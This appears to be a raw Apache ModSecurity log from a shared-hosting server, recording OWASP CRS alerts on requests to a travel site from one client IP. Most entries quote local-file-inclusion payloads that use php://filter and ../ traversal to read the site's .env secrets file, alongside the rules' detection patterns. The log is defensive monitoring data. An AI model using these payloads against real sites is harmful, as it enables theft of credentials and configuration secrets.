[Fri Jul 17 08:55:11.790377 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.790440 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&token=AteCNqFfTvbKb70f_239PGnj0cLYHYKPPwxF4MUJyZ3Y7k8e4vBwX3IhhqFSESOD4oqiXRL60cyhXJUkMoZrhRIM4-hmG03hP170ppynCN_a6FY5gsvXCHJkB7dasCWzibNdaTnAnkVbgt0MDPQ76ZWGP5F3hRiBnyiVlI07e9-Nm3iHmFIdtrphjbCwvDVA1xicZBSgqsqxleinZrIMjAZy0TqQW4fz10r1sKSHnaaRFwgD2zYRUlsPAgjK1xVEmXeksPwoJacAZYwOO90hOgJa&sid=6JOLBD2JWFFKFQ6UWOFGQRCOZOYNULTSNFZ4VXBQ7J6QF3447AZ6NEVKZIEIYDKRTV2Q65SVMHCSYYRHXMU5B4NKW..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.790485 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&show=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&token=atecnqfftvbkb70f_239pgnj0clyhykppwxf4mujyz3y7k8e4vbwx3ihhqfsesod4oqixrl60cyhxjukmozrhrim4-hmg03hp170ppyncn_a6fy5gsvxchjkb7dascwzibndatnankvbgt0mdpq76zwgp5f3hribnyivli07e9-nm3ihmfidtrphjbcwvdva1xiczbsgqsqxleinzrimjazy0tqqw4fz10r1skshnaarfwgd2zyrulspagjk1xvemxekspwojacazywoo90hogja&sid=6jolbd2jwffkfq6uwofgqrcozoynultsnfz4vxbq7j6qf3447az6nevkzieiydkrtv2q65svmhcsyyrhxmu5b4nkw..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.790523 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.790552 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.790902 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:show. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:show: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.791946 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.792166 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.792482 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw5GPQ6hs4VrfMpBTAAAAAY"]
[Fri Jul 17 08:55:11.796982 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=HyYvGfeGARVbIiKWs_xal1bS1CazYE8FNQRVVBEA7PQBoRgBBsOQMGmrAIU-_xp-r0RthbWcsir4dBOQOQlhCLl3OJDMBbPPbBRqfVNx8I1qKi0LzLIPwJs6hKTL3sjZmbvDPJ_Rumy7fn4eVD-CBd4psNuH1hN7-IfgoCPjzM3N-_Al0QRy9FBVKlO8YzQ5vVynqA-5BKcJCUvHrvXhvcfj_x6McVoWui168wtdtAttNy2z8ud5xOR3xT06RSf3-IfCF35bsEmsfZ3bLpnvgx2i&anything=TG7ST7IOCFBHR6IQ564S6LBX7U3BJUBRI4OAZUDYTYZF744CJYDVOGP5J3BUZBUH6SOPWHEG3..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.797030 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.797106 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.base64-encode/resource=../../../.env&junk=HyYvGfeGARVbIiKWs_xal1bS1CazYE8FNQRVVBEA7PQBoRgBBsOQMGmrAIU-_xp-r0RthbWcsir4dBOQOQlhCLl3OJDMBbPPbBRqfVNx8I1qKi0LzLIPwJs6hKTL3sjZmbvDPJ_Rumy7fn4eVD-CBd4psNuH1hN7-IfgoCPjzM3N-_Al0QRy9FBVKlO8YzQ5vVynqA-5BKcJCUvHrvXhvcfj_x6McVoWui168wtdtAttNy2z8ud5xOR3xT06RSf3-IfCF35bsEmsfZ3bLpnvgx2i&anything=TG7ST7IOCFBHR6IQ564S6LBX7U3BJUBRI4OAZUDYTYZF744CJYDVOGP5J3BUZBUH6SOPWHEG32ODSXDIWD24E6G2NULB6V3VZKU..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.797156 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.base64-encode/resource=../../../.env&junk=hyyvgfegarvbiikws_xal1bs1cazye8fnqrvvbea7pqborgbbsoqmgmraiu-_xp-r0rthbwcsir4dboqoqlhcll3ojdmbbppbbrqfvnx8i1qki0lzlipwjs6hktl3sjzmbvdpj_rumy7fn4evd-cbd4psnuh1hn7-ifgocpjzm3n-_al0qry9fbvklo8yzq5vvynqa-5bkcjcuvhrvxhvcfj_x6mcvowui168wtdtattny2z8ud5xor3xt06rsf3-ifcf35bsemsfz3blpnvgx2i&anything=tg7st7iocfbhr6iq564s6lbx7u3bjubri4oazudytyzf744cjydvogp5j3buzbuh6sopwheg32odsxdiwd24e6g2nulb6v3vzku..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.797189 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.797216 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.797626 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.798668 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.798809 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.799108 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PowAAABk"]
[Fri Jul 17 08:55:11.801209 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOgAAAAc"]
[Fri Jul 17 08:55:11.801500 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&junk=FqCZAEiCuqzLviW2o-8tesnYxoRTPqrII6lel4UesvlAhUB5zIeokTOlB8DXQQ7AQrKHoxyXNNvLO8pjyi18e_260z_3nOoDdIaaCsUd3u-lzJA3yXtnFQyYMP6cjh-vzLAB_NHXF16k70q2Ht8aeFpVDe27J4r8Ma6grltle0c7rILV4yclWlFAzxTEVopmsKCjAbwzpf4cKWJ_AbINjiIrV5iXKF8NbxYTNBC50vykfT1brUBCTmJnWqNYCixyopf9S8Dfc44DDX1UR6aXJLXr&debug=4R3UYA2LOZMQL7LR73XG2C4J2QXEGMUNSX3D3IVZDVF4EPWRNHF6FXQU6PZYGXEET5WWWJNAAMDKQLUOO..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.801552 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.801633 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.base64-encode/resource=../../.env&junk=FqCZAEiCuqzLviW2o-8tesnYxoRTPqrII6lel4UesvlAhUB5zIeokTOlB8DXQQ7AQrKHoxyXNNvLO8pjyi18e_260z_3nOoDdIaaCsUd3u-lzJA3yXtnFQyYMP6cjh-vzLAB_NHXF16k70q2Ht8aeFpVDe27J4r8Ma6grltle0c7rILV4yclWlFAzxTEVopmsKCjAbwzpf4cKWJ_AbINjiIrV5iXKF8NbxYTNBC50vykfT1brUBCTmJnWqNYCixyopf9S8Dfc44DDX1UR6aXJLXr&debug=4R3UYA2LOZMQL7LR73XG2C4J2QXEGMUNSX3D3IVZDVF4EPWRNHF6FXQU6PZYGXEET5WWWJNAAMDKQLUOO6ZAJWBENYTCZVJACMSXQ3EMQ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.801672 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.base64-encode/resource=../../.env&junk=fqczaeicuqzlviw2o-8tesnyxortpqrii6lel4uesvlahub5zieoktolb8dxqq7aqrkhoxyxnnvlo8pjyi18e_260z_3nooddiaacsud3u-lzja3yxtnfqyymp6cjh-vzlab_nhxf16k70q2ht8aefpvde27j4r8ma6grltle0c7rilv4yclwlfazxtevopmskcjabwzpf4ckwj_abinjiirv5ixkf8nbxytnbc50vykft1brubctmjnwqnycixyopf9s8dfc44ddx1ur6axjlxr&debug=4r3uya2lozmql7lr73xg2c4j2qxegmunsx3d3ivzdvf4epwrnhf6fxqu6pzygxeet5wwwjnaamdkqluoo6zajwbenytczvjacmsxq3emq..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.801705 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.801731 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
[Fri Jul 17 08:55:11.802086 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0gVnBK6wAv37w6sJgAAABQ"]
